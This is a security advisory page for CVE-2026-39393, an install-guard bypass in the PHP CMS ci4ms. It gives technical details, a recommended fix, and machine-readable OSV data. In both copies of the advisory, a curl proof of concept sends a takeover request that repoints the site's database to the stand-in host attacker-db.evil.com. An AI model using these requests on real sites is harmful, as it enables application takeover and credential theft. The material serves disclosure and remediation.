CVE-2026-39393: Ci4 cms erp/ci4ms CI4MS Vulnerable To Post-Installation Re-entry Vulnerability

HIGH
Advisory Identifier: GHSA-8rh5-4mvx-xj7j
CVSS 8.1
CWE-306
Published
Advisory Summary

CVE-2026-39393 is a HIGH (CVSS 8.1) ci4ms vulnerable to post-installation re-entry vulnerability (CWE-306: Missing Authentication for Critical Function) affecting Ci4 cms erp/ci4ms libraries in the Packagist ecosystem. The issue involves ci4ms vulnerable to post-installation re-entry via cache-dependent install guard bypass. Remediation is available by upgrading affected packages to version 0.31.4.0.

CVE-2026-39393 at a Glance

CVE Identifier CVE-2026-39393
GHSA Identifier GHSA-8rh5-4mvx-xj7j
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-306: Missing Authentication for Critical Function
Affected Product Ci4 cms erp/ci4ms
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-39393

To remediate this vulnerability, upgrade all affected Ci4 cms erp/ci4ms dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

ci4-cms-erp/ci4ms fixed: 0.31.4.0
Upgrade ci4-cms-erp/ci4ms to 0.31.4.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for ci4-cms-erp/ci4ms

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-39393, inspect your project dependencies for Ci4 cms erp/ci4ms:

inspect dependencies for ci4-cms-erp/ci4ms

Analyze the terminal output to locate any version of Ci4 cms erp/ci4ms in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.31.4.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-306: Missing Authentication for Critical Function, where the product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. In Ci4 cms erp/ci4ms, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The install route guard in ci4ms relies solely on a volatile cache check (`cache('settings')`) combined with `.env` file existence to block post-installation access to the setup wizard. When the database is temporarily unreachable during a cache miss (TTL expiry or admin-triggered cache clear), the guard fails open, allowing an unauthenticated attacker to overwrite the `.env` file with attacker-controlled database credentials, achieving full application takeover. ## Details The `InstallFilter::before()` method at `modules/Install/Filters/InstallFilter.php:13` implements the install guard: ```php public function before(RequestInterface $request, $arguments = null) { if (file_exists(ROOTPATH . '.env') && !empty(cache('settings'))) return show_404(); } ``` This requires **both** conditions — `.env` existence AND non-empty cache — to block access. The cache population happens in `app/Config/Filters.php:128-151` during the Filters constructor, which runs before route-specific filters: ```php public function __construct() { parent::__construct(); if (is_file(ROOTPATH . '.env')) { try { $this->commonModel = new CommonModel(); if (empty(cache('settings')) && $this->commonModel->db->tableExists('settings')) { $this->settings = $this->commonModel->lists('settings'); // ... populate cache ... cache()->save('settings', $set, 86400); // 24h TTL } } catch (\Throwable $e) { $this->settings = (object)[]; // Silently swallow ALL exceptions } } ``` When the database is unreachable (connection failure, timeout, maintenance), the `\Throwable` catch at line 148-150 silently swallows the exception. The cache remains empty, and `InstallFilter::before()` sees `empty(cache('settings'))` as true, allowing the request through. The install controller at `modules/Install/Controllers/Install.php:10-87` then processes the POST: 1. The `host` parameter at line 35 is **not present in the validation rules** (`$valData`, lines 13-27) — it is written directly from `$this->request->getPost('host')` to `.env` with zero validation 2. `copyEnvFile()` (line 70) overwrites the existing `.env` by copying from the `env` template 3. `updateEnvSettings()` (line 70) writes attacker-controlled values including database hostname 4. No database connection is needed — the `index()` action only performs filesystem operations Additionally, CSRF protection is explicitly disabled for all install routes in `modules/Install/Config/InstallConfig.php:7-10`: ```php public $csrfExcept = [ 'install', 'install/*' ]; ``` The cache has a 24-hour TTL (`Filters.php:143`), and `cache()->delete('settings')` is called in 14+ locations across admin controllers (Settings, Blog, Backup, AJAX, Pages), creating recurring windows where the cache is empty and must be repopulated from the database. ## PoC **Prerequisites:** The target database must be temporarily unreachable (maintenance window, connection exhaustion, network partition) at a moment when the `settings` cache has expired or been cleared. ```bash # Step 1: Verify the install route is accessible (DB outage + cache miss) curl -s -o /dev/null -w "%{http_code}" http://target/install # Expected: 200 (instead of 404) # Step 2: Overwrite .env with attacker-controlled database credentials curl -X POST http://target/install \ -d 'baseUrl=http://target/' \ -d 'host=attacker-db.evil.com' \ -d 'dbname=ci4ms' \ -d 'dbusername=root' \ -d 'dbpassword=pass' \ -d 'dbdriver=MySQLi' \ -d 'dbpre=' \ -d 'dbport=3306' \ -d 'name=Admin' \ -d 'surname=Evil' \ -d 'username=admin' \ -d 'password=Evil1234!' \ -d 'email=evil@attacker.com' \ -d 'siteName=Pwned' # No CSRF token required (CSRF exempt for install routes) # .env is now overwritten with attacker's DB hostname # Step 3: Follow redirect to /install/dbsetup # This runs migrations on the attacker-controlled database and creates an admin account # The application now connects to attacker's database = full takeover ``` ## Impact When exploited during a database outage coinciding with cache expiry: - **Full application takeover**: The `.env` file is overwritten with attacker-controlled database credentials, redirecting all application database queries to an attacker-controlled server - **Credential theft**: All subsequent user logins, form submissions, and API calls send data to the attacker's database - **Data integrity loss**: The attacker controls what data the application reads from the database, enabling arbitrary content injection, phishing, and privilege escalation - **Encryption key reset**: `generateEncryptionKey()` is called (line 70), invalidating all existing encrypted data and sessions The attack requires no authentication, no CSRF token, and no user interaction. The exploitability window recurs every 24 hours at cache TTL expiry and after any admin action that clears the settings cache, but is only exploitable when the database is simultaneously unreachable. ## Recommended Fix Replace the volatile cache-based install guard with a persistent filesystem lock: ```php // modules/Install/Filters/InstallFilter.php class InstallFilter implements FilterInterface { public function before(RequestInterface $request, $arguments = null) { // Use a persistent filesystem lock instead of volatile cache if (file_exists(WRITEPATH . 'installed.lock')) { return show_404(); } } } ``` Create the lock file at the end of successful installation in `Install::dbsetup()`: ```php // At the end of dbsetup(), after successful migration and setup: file_put_contents(WRITEPATH . 'installed.lock', date('Y-m-d H:i:s')); ``` Additionally, add validation for the `host` parameter in `Install::index()`: ```php $valData['host'] = [ 'label' => lang('Install.databaseHost'), 'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9._-]+$/]' ]; ```

CVE-2026-39393 Affected Ci4 cms erp/ci4ms Versions

1 component(s)
Fixed Versions:
0.31.4.0
Product / Package Ecosystem Affected Versions Fixed Version
ci4-cms-erp/ci4ms
Packagist
< 0.31.4.0
0.31.4.0

References

Frequently Asked Questions

What is CVE-2026-39393?
CVE-2026-39393 is a security vulnerability in Ci4 cms erp/ci4ms involving CI4MS Vulnerable to Post-Installation Re-entry via Cache-Dependent Install Guard Bypass under CWE-306: Missing Authentication for Critical Function.
Which Ci4 cms erp/ci4ms versions are affected?
Affected versions include releases prior to 0.31.4.0 across affected packages: ci4-cms-erp/ci4ms.
What version fixes CVE-2026-39393?
Upgrading to 0.31.4.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is ci4-cms-erp/ci4ms affected?
Yes, ci4-cms-erp/ci4ms is affected in releases prior to 0.31.4.0. Upgrade your dependency to 0.31.4.0 or later.
What is the CVSS score of CVE-2026-39393?
CVE-2026-39393 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-39393?
CVE-2026-39393 is classified under CWE-306: Missing Authentication for Critical Function (The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.).
How can I check Packagist dependencies for CVE-2026-39393?
Run the dependency tree command: 'inspect dependencies for ci4-cms-erp/ci4ms'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8rh5-4mvx-xj7j",
  "modified" : "2026-04-08T19:15:57Z",
  "published" : "2026-04-08T19:15:57Z",
  "aliases" : [ "CVE-2026-39393" ],
  "summary" : "CI4MS Vulnerable to Post-Installation Re-entry via Cache-Dependent Install Guard Bypass",
  "details" : "## Summary\n\nThe install route guard in ci4ms relies solely on a volatile cache check (`cache('settings')`) combined with `.env` file existence to block post-installation access to the setup wizard. When the database is temporarily unreachable during a cache miss (TTL expiry or admin-triggered cache clear), the guard fails open, allowing an unauthenticated attacker to overwrite the `.env` file with attacker-controlled database credentials, achieving full application takeover.\n\n## Details\n\nThe `InstallFilter::before()` method at `modules/Install/Filters/InstallFilter.php:13` implements the install guard:\n\n```php\npublic function before(RequestInterface $request, $arguments = null)\n{\n    if (file_exists(ROOTPATH . '.env') && !empty(cache('settings'))) return show_404();\n}\n```\n\nThis requires **both** conditions — `.env` existence AND non-empty cache — to block access. The cache population happens in `app/Config/Filters.php:128-151` during the Filters constructor, which runs before route-specific filters:\n\n```php\npublic function __construct()\n{\n    parent::__construct();\n    if (is_file(ROOTPATH . '.env')) {\n        try {\n            $this->commonModel = new CommonModel();\n            if (empty(cache('settings')) && $this->commonModel->db->tableExists('settings')) {\n                $this->settings = $this->commonModel->lists('settings');\n                // ... populate cache ...\n                cache()->save('settings', $set, 86400); // 24h TTL\n            }\n        } catch (\\Throwable $e) {\n            $this->settings = (object)[]; // Silently swallow ALL exceptions\n        }\n    }\n```\n\nWhen the database is unreachable (connection failure, timeout, maintenance), the `\\Throwable` catch at line 148-150 silently swallows the exception. The cache remains empty, and `InstallFilter::before()` sees `empty(cache('settings'))` as true, allowing the request through.\n\nThe install controller at `modules/Install/Controllers/Install.php:10-87` then processes the POST:\n\n1. The `host` parameter at line 35 is **not present in the validation rules** (`$valData`, lines 13-27) — it is written directly from `$this->request->getPost('host')` to `.env` with zero validation\n2. `copyEnvFile()` (line 70) overwrites the existing `.env` by copying from the `env` template\n3. `updateEnvSettings()` (line 70) writes attacker-controlled values including database hostname\n4. No database connection is needed — the `index()` action only performs filesystem operations\n\nAdditionally, CSRF protection is explicitly disabled for all install routes in `modules/Install/Config/InstallConfig.php:7-10`:\n\n```php\npublic $csrfExcept = [\n    'install',\n    'install/*'\n];\n```\n\nThe cache has a 24-hour TTL (`Filters.php:143`), and `cache()->delete('settings')` is called in 14+ locations across admin controllers (Settings, Blog, Backup, AJAX, Pages), creating recurring windows where the cache is empty and must be repopulated from the database.\n\n## PoC\n\n**Prerequisites:** The target database must be temporarily unreachable (maintenance window, connection exhaustion, network partition) at a moment when the `settings` cache has expired or been cleared.\n\n```bash\n# Step 1: Verify the install route is accessible (DB outage + cache miss)\ncurl -s -o /dev/null -w \"%{http_code}\" http://target/install\n# Expected: 200 (instead of 404)\n\n# Step 2: Overwrite .env with attacker-controlled database credentials\ncurl -X POST http://target/install \\\n  -d 'baseUrl=http://target/' \\\n  -d 'host=attacker-db.evil.com' \\\n  -d 'dbname=ci4ms' \\\n  -d 'dbusername=root' \\\n  -d 'dbpassword=pass' \\\n  -d 'dbdriver=MySQLi' \\\n  -d 'dbpre=' \\\n  -d 'dbport=3306' \\\n  -d 'name=Admin' \\\n  -d 'surname=Evil' \\\n  -d 'username=admin' \\\n  -d 'password=Evil1234!' \\\n  -d 'email=evil@attacker.com' \\\n  -d 'siteName=Pwned'\n# No CSRF token required (CSRF exempt for install routes)\n# .env is now overwritten with attacker's DB hostname\n\n# Step 3: Follow redirect to /install/dbsetup\n# This runs migrations on the attacker-controlled database and creates an admin account\n# The application now connects to attacker's database = full takeover\n```\n\n## Impact\n\nWhen exploited during a database outage coinciding with cache expiry:\n\n- **Full application takeover**: The `.env` file is overwritten with attacker-controlled database credentials, redirecting all application database queries to an attacker-controlled server\n- **Credential theft**: All subsequent user logins, form submissions, and API calls send data to the attacker's database\n- **Data integrity loss**: The attacker controls what data the application reads from the database, enabling arbitrary content injection, phishing, and privilege escalation\n- **Encryption key reset**: `generateEncryptionKey()` is called (line 70), invalidating all existing encrypted data and sessions\n\nThe attack requires no authentication, no CSRF token, and no user interaction. The exploitability window recurs every 24 hours at cache TTL expiry and after any admin action that clears the settings cache, but is only exploitable when the database is simultaneously unreachable.\n\n## Recommended Fix\n\nReplace the volatile cache-based install guard with a persistent filesystem lock:\n\n```php\n// modules/Install/Filters/InstallFilter.php\nclass InstallFilter implements FilterInterface\n{\n    public function before(RequestInterface $request, $arguments = null)\n    {\n        // Use a persistent filesystem lock instead of volatile cache\n        if (file_exists(WRITEPATH . 'installed.lock')) {\n            return show_404();\n        }\n    }\n}\n```\n\nCreate the lock file at the end of successful installation in `Install::dbsetup()`:\n\n```php\n// At the end of dbsetup(), after successful migration and setup:\nfile_put_contents(WRITEPATH . 'installed.lock', date('Y-m-d H:i:s'));\n```\n\nAdditionally, add validation for the `host` parameter in `Install::index()`:\n\n```php\n$valData['host'] = [\n    'label' => lang('Install.databaseHost'),\n    'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9._-]+$/]'\n];\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "ci4-cms-erp/ci4ms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.31.4.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.31.3.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-8rh5-4mvx-xj7j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-39393"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ci4-cms-erp/ci4ms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-08T19:15:57Z",
    "nvd_published_at" : "2026-04-08T15:16:14Z"
  }
}